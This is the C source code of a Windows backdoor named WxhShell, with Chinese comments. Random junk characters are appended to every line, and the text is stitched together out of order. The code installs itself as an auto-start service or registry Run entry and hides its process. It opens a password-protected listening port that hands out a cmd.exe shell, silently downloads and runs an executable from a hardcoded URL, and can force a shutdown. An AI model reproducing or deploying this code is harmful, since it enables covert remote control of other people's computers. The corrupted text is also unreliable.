    if(Boot(SHUTDOWN)) p")"t`k7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UZ-pN_!Z:  
    else { KAVkYL0  
    closesocket(wsh); ~4#D G^5  
    ExitThread(0); x'G_z_<V  
    } Q`O~f<a  
    break; bO('y@)X  
    } TQ~a5q  
  // 获取shell 00-2u~D&  
  case 's': { Om;` "5  
    CmdShell(wsh); J`; 9Z  
    closesocket(wsh); K4RQ{fWpm  
    ExitThread(0); 00>knCe6  
    break; aU.!+e%_  
  } EpT^r8I  
  // 退出 8B "^}y\0  
  case 'x': { &\ad.O/Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P~&J@8)c  
    CloseIt(wsh); Aj/EaIq  
    break; ;B }4pv}  
    } lN"@5(5%  
  // 离开 2h@&yW2j  
  case 'q': { ww+,GnV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A&ceuu  
    closesocket(wsh); EIpz-"S  
    WSACleanup(); NTGWI$  
    exit(1); wSZMHIW  
    break; 4UPxV"H  
        } RA){\~@wC  
  } 6#:V3 ;  
  } <jaQ 0S{|  
g&_f%hx?  
  // 提示信息 xMpgXB!'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4qd( a)NdY  
} l%u8Lq  
  } 2J)  
6@:<62!;  
  return; D)[(  
} @bAu R  
E8lq2r=  
// shell模块句柄 F[B=sI  
int CmdShell(SOCKET sock) p9MJa[}V  
{ '!MKZKer  
STARTUPINFO si; s gZlk9x!Q  
ZeroMemory(&si,sizeof(si)); 6 !Mm")  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qd'Z|'j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ts,V+cEA  
PROCESS_INFORMATION ProcessInfo; *k?y+}E_f  
char cmdline[]="cmd"; M`* BS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lG[j,MDs  
  return 0; qJ~fEX  
}  7?vj+1;  
@L 6)RF  
// 自身启动模式 tHM0]Gb}  
int StartFromService(void) OeZ"WO  
{ HqyAo]{GN  
typedef struct zW`a]n.  
{ SC3_S.  
  DWORD ExitStatus; d<m.5ECC}  
  DWORD PebBaseAddress; #oR@!?  
  DWORD AffinityMask; fgA-+y  
  DWORD BasePriority; ]T.+(\I  
  ULONG UniqueProcessId; Zv8GrkK  
  ULONG InheritedFromUniqueProcessId; ,nV4%Aa  
}   PROCESS_BASIC_INFORMATION; G2sj<F=AV  
9.9B#?  
PROCNTQSIP NtQueryInformationProcess; Le/}xST@  
%z~kHL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :N_DJ51  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }YM[aq?6  
m G+=0Rn^  
  HANDLE             hProcess; v@J[qpX  
  PROCESS_BASIC_INFORMATION pbi; ?jvuTS2  
#\K"FE0PGz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <LJb,l"  
  if(NULL == hInst ) return 0; mwZ) PySm)  
Uaj_,qb(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .F$cR^i5u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .Ep&O#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E},zB*5TH  
5-&"nn2*}1  
  if (!NtQueryInformationProcess) return 0; b0x%#trA{  
R. vVl+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /wP2Wnq$  
  if(!hProcess) return 0; =u.23#.  
)NqRu+j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8NJT:6Q7l  
$(*>]PC+)  
  CloseHandle(hProcess); qN Ut&#  
@a 7U0$,O#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y|tK19  
if(hProcess==NULL) return 0; #]gmM  
AYp~;@  
HMODULE hMod; pEW~zl  
char procName[255]; NQvI=R-g  
unsigned long cbNeeded; DhsvN&yNM  
)ac!@slb^7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +NiCt S  
/fAAQ7  
  CloseHandle(hProcess); K(WKx7Kky^  
vF[ 4kDHk  
if(strstr(procName,"services")) return 1; // 以服务启动 hp2$[p6O  
h b8L[ 4  
  return 0; // 注册表启动 y3PrLBTz  
} {9^p3Q+:P  
q)AX*T+  
// 主模块 0y+i?y 9  
int StartWxhshell(LPSTR lpCmdLine) 2n-kJl`: O  
{ dt"&  
  SOCKET wsl; H4sc7-  
BOOL val=TRUE; 1<*U:W $g  
  int port=0; H(y Gh  
  struct sockaddr_in door; Tb8r+~HK  
'6*9pG-  
  if(wscfg.ws_autoins) Install();  }Fox  
f"zmNG'  
port=atoi(lpCmdLine); ,g,Hb\_R)  
cRWB`&  
if(port<=0) port=wscfg.ws_port; lWT`y  
<vD(,||  
  WSADATA data; n.C5w8f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l/\D0\x2  
AD@ {7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z a S29}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K CH`=lX  
  door.sin_family = AF_INET; f/iMI)J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ibG>|hV  
  door.sin_port = htons(port); w~Vqg:'\$  
#l3)3k* ;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BL"7_phM,  
closesocket(wsl); Ed2A\S6tl  
return 1; uv^x  
} HIC!:|  
|k,-]c;6  
  if(listen(wsl,2) == INVALID_SOCKET) { )+w1nw|m  
closesocket(wsl); DVJn;X^T:  
return 1; {];-b0MS~  
} n+i=Ff  
  Wxhshell(wsl); KDH<T4#x  
  WSACleanup(); 1EWZA  
PrA(==FX/  
return 0; Xkg  
["4Tn0g ;  
} l"jYY3N|h  
O}p<"3Ub  
// 以NT服务方式启动 (Nv -wU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )?c,&  
{  X>P|-n#  
DWORD   status = 0; ^5( d^N  
  DWORD   specificError = 0xfffffff; 5O Y5b8  
 ts=:r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $em'H,*b3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )S/=5Uc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V w58w`e  
  serviceStatus.dwWin32ExitCode     = 0; 8F@Sy,D  
  serviceStatus.dwServiceSpecificExitCode = 0; m7u`r(&  
  serviceStatus.dwCheckPoint       = 0; 0z4M/WrNt  
  serviceStatus.dwWaitHint       = 0; ItZYOt|Hn  
ju .pQ=PSX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rPqM&&+  
  if (hServiceStatusHandle==0) return; I3d}DpPx%  
JY^i  
status = GetLastError(); Dg{d^>T!_x  
  if (status!=NO_ERROR) c"pOi&  
{ F[`dX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E0 E K88  
    serviceStatus.dwCheckPoint       = 0; 3eXIo=  
    serviceStatus.dwWaitHint       = 0; E-FR w  
    serviceStatus.dwWin32ExitCode     = status; 5Z5x\CcC3  
    serviceStatus.dwServiceSpecificExitCode = specificError; <V Rb   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .>P:{''  
    return; QG2 Zh9R  
  } ^NRf  
I0z7bx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cC+2%q B  
  serviceStatus.dwCheckPoint       = 0; `|nCnT'  
  serviceStatus.dwWaitHint       = 0; Im@OAR4,R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ={V@Y-5T  
} Pnm$g; `P  
1?1Bz?EKF*  
// 处理NT服务事件,比如:启动、停止 8N?D1; F;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0y?;o*&U\  
{ pRL:,q\  
switch(fdwControl) ( }Bb=~  
{ GQ>0E  
case SERVICE_CONTROL_STOP: ~1[n@{*:(  
  serviceStatus.dwWin32ExitCode = 0; w>=N~0@t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w`V6vYd@  
  serviceStatus.dwCheckPoint   = 0; .R'M'a#*!A  
  serviceStatus.dwWaitHint     = 0; hqmE]hwc  
  { `[U.BVP'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #8yo9g6  
  } Jp+'"a  
  return; ]sk=V.GGQ  
case SERVICE_CONTROL_PAUSE: 5g/,VMe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Lhe&  
  break; {uoF5|O6K  
case SERVICE_CONTROL_CONTINUE: s.Ai _D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6$'*MpYF4  
  break; 3}F>t{FDk  
case SERVICE_CONTROL_INTERROGATE: El;"7Qn  
  break; <r$h =hM  
}; g=Vu'p 3u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O=(F46 M  
} q!@!eC[b  
ZH9Fs'c=  
// 标准应用程序主函数 ZDgT"53   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^-[ I;P  
{ p\lR1  
UU MB"3e  
// 获取操作系统版本 6[c|14l  
OsIsNt=GetOsVer(); !$oa6*<1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %xOxMK@  
|%v:>XEO  
  // 从命令行安装 Z?!AJY  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3IlVSR^py  
,aC}0t  
  // 下载执行文件 :T G;W,`.V  
if(wscfg.ws_downexe) { k_7b0 dr%F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 40h$- VYT/  
  WinExec(wscfg.ws_filenam,SW_HIDE); 80[# 6`  
} vk4 8&8  
kwc Cf2  
if(!OsIsNt) { 3mo4;F,h9  
// 如果时win9x,隐藏进程并且设置为注册表启动 'yq?xlIj  
HideProc(); f!w/zC .  
StartWxhshell(lpCmdLine); \&;y:4&l8  
} xd ^Pkf  
else W/>a 1  
  if(StartFromService()) K4<"XF1A:  
  // 以服务方式启动 9n{Y6I x:  
  StartServiceCtrlDispatcher(DispatchTable); dX@ic,?  
else ;M4[Liw~O  
  // 普通方式启动 c&',#.9  
  StartWxhshell(lpCmdLine); OB$Jv<C@  
p TwzVz~  
return 0; Pd"c*n&9  
} a'?;;ZC-  
a(]&H "  
pka^7OWyN  
cr{yy :D  
=========================================== 4A6Y \ZXI  
sA| SOAn  
T :d+Qz\  
xw 43P.  
R P<M  
,#3Aaw   
" SYA~I-OYc  
?4/pE@RIy  
#include <stdio.h> J'X}6Q  
#include <string.h> ;WX.D]>{W  
#include <windows.h> Yr_ B(n  
#include <winsock2.h> B=& [Z2  
#include <winsvc.h> &AJkYh  
#include <urlmon.h> aO&{.DO2  
A_wf_.l4h  
#pragma comment (lib, "Ws2_32.lib") bHnKtaK4c  
#pragma comment (lib, "urlmon.lib") <m`CLVx8m  
/-[vC$B"  
#define MAX_USER   100 // 最大客户端连接数 iIX%%r+  
#define BUF_SOCK   200 // sock buffer A'z]?xQR  
#define KEY_BUFF   255 // 输入 buffer Ia}qDGqPp!  
9u{[e"  
#define REBOOT     0   // 重启 &'W7-Z\j-  
#define SHUTDOWN   1   // 关机 ?j.a>{  
Q!@M/@-Ky  
#define DEF_PORT   5000 // 监听端口 E2>{ seZ  
K9%rr_ja!  
#define REG_LEN     16   // 注册表键长度 04Zdg:[3-!  
#define SVC_LEN     80   // NT服务名长度 18rV Acj  
Y:TfD{Xgc  
// 从dll定义API sT2`y$ '  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =f!A o:Uc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RxYENG]/6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }'eef"DJ9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a~0 ~Y y  
FXJ0 G>F  
// wxhshell配置信息 l+"p$iZs  
struct WSCFG { 5 _E8 RAG  
  int ws_port;         // 监听端口 ?5nEmG|kO  
  char ws_passstr[REG_LEN]; // 口令 [S,$E6&j$"  
  int ws_autoins;       // 安装标记, 1=yes 0=no |w|c!;,  
  char ws_regname[REG_LEN]; // 注册表键名 pS+w4gW  
  char ws_svcname[REG_LEN]; // 服务名 ?;~E*kzO&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qP#LJPaS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~Yk^(hl2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,FzkGB#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JT0j2_*Rr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XYWyxx5`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %eDSo9Y  
\{ EVRRXn  
}; gPk,nB  
mc?IM(t  
// default Wxhshell configuration yl~;!  
struct WSCFG wscfg={DEF_PORT, _D{A`z  
    "xuhuanlingzhe", erEB4q+ #O  
    1, #U`AK9rP_g  
    "Wxhshell",  (yP1}?  
    "Wxhshell", d9v66mpJM  
            "WxhShell Service", <?7qI85OT  
    "Wrsky Windows CmdShell Service", IsI5c  
    "Please Input Your Password: ", yHw @Z  
  1, m)p|NdTZc8  
  "http://www.wrsky.com/wxhshell.exe", 7@<.~*Bl6  
  "Wxhshell.exe" EO)JMV?6  
    }; (1D1;J4g  
A)]&L`s  
// 消息定义模块 zb9G&'7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lg-_[!4Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _S ng55s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1(BLdP3&  
char *msg_ws_ext="\n\rExit."; g]vB\5uA:  
char *msg_ws_end="\n\rQuit."; K{DC{yLu  
char *msg_ws_boot="\n\rReboot..."; L'{W|Xb+  
char *msg_ws_poff="\n\rShutdown..."; c<|y/n  
char *msg_ws_down="\n\rSave to "; c rb^TuN  
s oY\6mHio  
char *msg_ws_err="\n\rErr!"; '/8/M{`s  
char *msg_ws_ok="\n\rOK!"; <WIIurp  
"ZGP,=?y2  
char ExeFile[MAX_PATH]; ,EEAxmf  
int nUser = 0; +S4>}2N33  
HANDLE handles[MAX_USER]; tI{]&dev  
int OsIsNt; Uyb0iQ-,s  
rq3f/_#L!O  
SERVICE_STATUS       serviceStatus; O^~IY/[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L3Y,z3/  
;9z|rWsF  
// 函数声明 3XQa%|N(  
int Install(void); b V  EJ  
int Uninstall(void); %RV81H9B  
int DownloadFile(char *sURL, SOCKET wsh); >b2!&dm  
int Boot(int flag); e1W9"&4>G{  
void HideProc(void); y`n?f|nf  
int GetOsVer(void); o:QL%J{[  
int Wxhshell(SOCKET wsl); vz4( k/  
void TalkWithClient(void *cs); B.G6vx4yp  
int CmdShell(SOCKET sock); L&kCI`Tb  
int StartFromService(void); HN5661;8  
int StartWxhshell(LPSTR lpCmdLine); ;"Gy5  
O ixqou  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cQt&%SVT]E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F M6{%}4  
95'+8*YCY  
// 数据结构和表定义 {`SMxDevc}  
SERVICE_TABLE_ENTRY DispatchTable[] = : b`N(]  
{ &q<k0_5Q  
{wscfg.ws_svcname, NTServiceMain}, Nksm&{=6S  
{NULL, NULL} -b^dK)wR~  
}; >} 2C,8N  
ys=} V|  
// 自我安装 D?_K5a&v,  
int Install(void) "G@K(bnHn  
{ l0,VN,$Yl  
  char svExeFile[MAX_PATH]; y5eEEG6  
  HKEY key; Un K7&Uo  
  strcpy(svExeFile,ExeFile); a 4ViVy  
;iiCay37F  
// 如果是win9x系统,修改注册表设为自启动 {BJ>x:2  
if(!OsIsNt) { ir}z^+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  _ VuWo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0V3dc+t)O  
  RegCloseKey(key); WCsf_1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y-E'Y=j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QO =5Q  
  RegCloseKey(key); ^ l#6Es  
  return 0; GV0@We~  
    } w|&lRo@1  
  } i+O7,"(@  
} L-`V^{R]  
else { lW| =rq-|  
x,mt}>  
// 如果是NT以上系统,安装为系统服务 nBk&+SN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C1NU6iV^z  
if (schSCManager!=0) U 2YY   
{ tsg`c;{  
  SC_HANDLE schService = CreateService J*rYw5QB  
  ( '/xynk%)xw  
  schSCManager, '=$`NG8 l  
  wscfg.ws_svcname, m'}`+#C%)  
  wscfg.ws_svcdisp, m:)&:Y0 (a  
  SERVICE_ALL_ACCESS, W|8VE,"7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |^Y"*Y4*h  
  SERVICE_AUTO_START, )$TN%hV!  
  SERVICE_ERROR_NORMAL, \Vx^u}3O  
  svExeFile, FQO=}0Hl  
  NULL, nlB'@r  
  NULL, v Z]j%c@  
  NULL, 4o}{3 ! m  
  NULL, bX2BEa8<"  
  NULL A4f"v)vM  
  ); @Pcgm"H<  
  if (schService!=0) m"~ddqSMT  
  { crv#IC2  
  CloseServiceHandle(schService); .;7V]B1o  
  CloseServiceHandle(schSCManager); TXi|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :7LA/j  
  strcat(svExeFile,wscfg.ws_svcname); m?Y-1!E0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~RVlc;W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); < +*  
  RegCloseKey(key); =,zB|sjn  
  return 0; PMTrG78p*  
    } Kfb(wW  
  } [j/|)cj  
  CloseServiceHandle(schSCManager); 7_oUuNw  
} wuXQa wo  
} T9$~tv,5F  
R*bx&..<  
return 1; sPQj B[  
} S~:uOm2t\  
r2#G|/=@  
// 自我卸载 lUjZ=3"'  
int Uninstall(void) _<f%== I'  
{ [4#HuO@h  
  HKEY key; >;9g`d  
#$W5)6ch  
if(!OsIsNt) { 1"CWEL`i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?rOj?J9  
  RegDeleteValue(key,wscfg.ws_regname); `WH$rx!  
  RegCloseKey(key); n`Z}tQ%)o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i ed 1+H  
  RegDeleteValue(key,wscfg.ws_regname); >g !Z|ju  
  RegCloseKey(key); b/[X8w'VP  
  return 0; ?S& yF  
  } z&H.fsL  
} 2o(O`;z  
} Nsh/  
else { *e [*  
(km $qX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qZ!kVrmg&  
if (schSCManager!=0) @>(JC]HtR  
{ :"# "{P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <VD7(j]'^  
  if (schService!=0) ;N.dzH2yA  
  { ggPGKY-b=  
  if(DeleteService(schService)!=0) { <b"^\]l  
  CloseServiceHandle(schService); jo&j<3i  
  CloseServiceHandle(schSCManager); &v0]{)PO  
  return 0; < xeB9  
  } "Q+wO+}6  
  CloseServiceHandle(schService); =KQIrS:  
  } SM)"vr_  
  CloseServiceHandle(schSCManager); 8B-PsS|'  
} EE]xZz>o  
} 1/mBp+D  
>[wxZ5))  
return 1; h{7>>  
} `\(co;:  
4~1b  
// 从指定url下载文件 KKk~vwW  
int DownloadFile(char *sURL, SOCKET wsh) 9~=zD9,|iA  
{ %0y-f  
  HRESULT hr; u:J( 0re  
char seps[]= "/"; T"htWo{v>  
char *token; JZ`u?ZaJ/s  
char *file; l@SV!keQ  
char myURL[MAX_PATH]; 0#Gm# =F  
char myFILE[MAX_PATH]; |e!Y C iU  
8Kl&_-l{b  
strcpy(myURL,sURL); O9N!SQs80  
  token=strtok(myURL,seps); @BLB.=  
  while(token!=NULL) &iu]M=Y b  
  { >k\p%{P  
    file=token; }ACg#;>/+  
  token=strtok(NULL,seps); H HX q_-V  
  } $hCS-9%&  
tYTl-c  
GetCurrentDirectory(MAX_PATH,myFILE); \3ydNgl  
strcat(myFILE, "\\"); aJv+BX_,  
strcat(myFILE, file); 0.+Eo.AX4M  
  send(wsh,myFILE,strlen(myFILE),0); i?d545. u  
send(wsh,"...",3,0); <v9IK$J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wM[Z 0*K  
  if(hr==S_OK) xKBi".wA  
return 0; JtSwbdN  
else W2-l_{  
return 1; G)YmaHeI;[  
- s'W^(  
} Q'jGNWep  
E8PwA.  
// 系统电源模块 *MfH\X379  
int Boot(int flag) mEYfsO  
{ P%&|?e~D^  
  HANDLE hToken; 9[\do@  
  TOKEN_PRIVILEGES tkp; :I"2 2EH  
I/upiqy  
  if(OsIsNt) { aC' 6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g:~q&b[q6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bHm/ZZx  
    tkp.PrivilegeCount = 1; RLex#j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 13 L&f\b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2V;{@k  
if(flag==REBOOT) { %w>3Fwj`z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Iu0GOy*[  
  return 0; Zc38ht\r;  
} 7)}_'p  
else { j*gZvbO;'L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oR`rs[Kj  
  return 0; m["e7>9G  
} ;uc3_J]  
  } ?#<'w(^%#  
  else { \H>Psv{  
if(flag==REBOOT) { MV3K'<Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kz}Bc F  
  return 0; )$1j"mV  
} s+_8U}R  
else { J*K=tA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qYVeFSS  
  return 0; euV!U}Xr  
} A`~?2LH,~F  
} 4`o0?_.'  
vq9O|E3  
return 1; IDpLf*vSG  
} @ g`|ob]9  
lxZ9y  
// win9x进程隐藏模块 {4SaS v^/  
void HideProc(void) z^*g 2J,  
{ @N[<<k7g  
P()n=&XO6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9MJ:]F5+  
  if ( hKernel != NULL ) @6|0H`kv  
  { pUmT?N!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h5@7@w%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +>eX1WoTy  
    FreeLibrary(hKernel); LZG(T$dI  
  } !s$1C=z5u  
b^<7a&  
return; r9 1i :  
} sqF.,A,  
CD#U`jf  
// 获取操作系统版本 /W f.Gt9[  
int GetOsVer(void) #D(=[F  
{ |;aZi?Ek[  
  OSVERSIONINFO winfo; "ivVIq2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j p}.W  
  GetVersionEx(&winfo); ldU ><xc2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZvXw#0)v  
  return 1; (7,Q4T  
  else c3rj :QK6I  
  return 0; opn6 C )  
} wNl6a9#  
*'-C/  
// 客户端句柄模块 /_expSPHl  
int Wxhshell(SOCKET wsl) v`'Iew }  
{ h(~of (  
  SOCKET wsh; 4/\Ynb.L  
  struct sockaddr_in client; }h/7M  
  DWORD myID; &\5bo=5V  
fTX|vy<EMI  
  while(nUser<MAX_USER) U4Y)Jk  
{ %< ;u JP K  
  int nSize=sizeof(client); vKPLh   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %RwWyzm#\  
  if(wsh==INVALID_SOCKET) return 1; ow`F 7  
9T$%^H9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WSU/Z[\`H  
if(handles[nUser]==0) c;t3I},  
  closesocket(wsh); Q9p7{^m&E  
else {@x-T  
  nUser++; ~z41$~/  
  } 1S+T:n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rK;<-RE<[:  
RxPD44jVA  
  return 0; Rm,>6bQx  
} ghkV^ [  
h?ijZHG $  
// 关闭 socket )FA:wsy~E  
void CloseIt(SOCKET wsh) FW3E UC)P  
{ Xfb-< Q0A  
closesocket(wsh); i 8cmT+}>  
nUser--; 'tQp&p j  
ExitThread(0); F!?f|z,/  
} N48X[Q*  
K'E)?NW69  
// 客户端请求句柄 EN}4-P/5  
void TalkWithClient(void *cs) G:|]w,^i  
{ 8W Qc8  
-m=!SQ >9  
  SOCKET wsh=(SOCKET)cs; DtS7)/<T  
  char pwd[SVC_LEN]; I+^iOa  
  char cmd[KEY_BUFF]; 3T 0'zJ2f  
char chr[1]; Jfv'M<I  
int i,j; qM Qu!%o  
"~Kph0-  
  while (nUser < MAX_USER) { >wYmx4W>  
UT 7'-  
if(wscfg.ws_passstr) { S5L0[SZ$!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #+h#b%8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mbly-l{|  
  //ZeroMemory(pwd,KEY_BUFF); D#Mz#\4o  
      i=0; Lcy6G%A  
  while(i<SVC_LEN) { AEFd,;GF  
eAQ-r\h'2  
  // 设置超时 Z)3oiLmD  
  fd_set FdRead; |hDN$By  
  struct timeval TimeOut; 0x&L'&SpN  
  FD_ZERO(&FdRead); ]gA2.,)}D  
  FD_SET(wsh,&FdRead); #c/K.?  
  TimeOut.tv_sec=8; BOdlz#&s  
  TimeOut.tv_usec=0; WkpHe  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )#? K2E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]_!NmB_3  
\x\(36\u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @,G\` ;Ma  
  pwd=chr[0]; LH@Kn?R6  
  if(chr[0]==0xd || chr[0]==0xa) { 2>CR]  
  pwd=0; HB<>x  
  break; (v0Q.Q@ <  
  } r#}o +3*  
  i++; /;y`6WG%2  
    } NOAz"m+o  
04Uyr;y  
  // 如果是非法用户,关闭 socket 7#N= GN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 64'sJc.   
} 7^#O{QYol  
pgv, Su  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cxPOO#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mgq4g  
tC=K;zsXpz  
while(1) { d7Cs a c  
QPFv]^s(  
  ZeroMemory(cmd,KEY_BUFF); BryD?/}P)M  
"{bc2# F  
      // 自动支持客户端 telnet标准   !Ap*PL  
  j=0; !"F8jA}  
  while(j<KEY_BUFF) { LS-_GslE7\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F+D e"^As  
  cmd[j]=chr[0]; e!k4Ij-]  
  if(chr[0]==0xa || chr[0]==0xd) { YQ1rS X3  
  cmd[j]=0; %r(qQM.Pl  
  break; SapVS*yx@  
  } vZqW,GDfXo  
  j++; cwHbm%  
    } :pvVm>  
cI@'Pr4:FJ  
  // 下载文件 [KW)z#`*  
  if(strstr(cmd,"http://")) { e?GzvM'2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^>fr+3a"P  
  if(DownloadFile(cmd,wsh)) 3@0!]z^W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eQfXUpk3@I  
  else T&<ee|t@{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y"_rDj`  
  } 1 :{+{Yl7  
  else { <c,iu{:  
6>'>BamX  
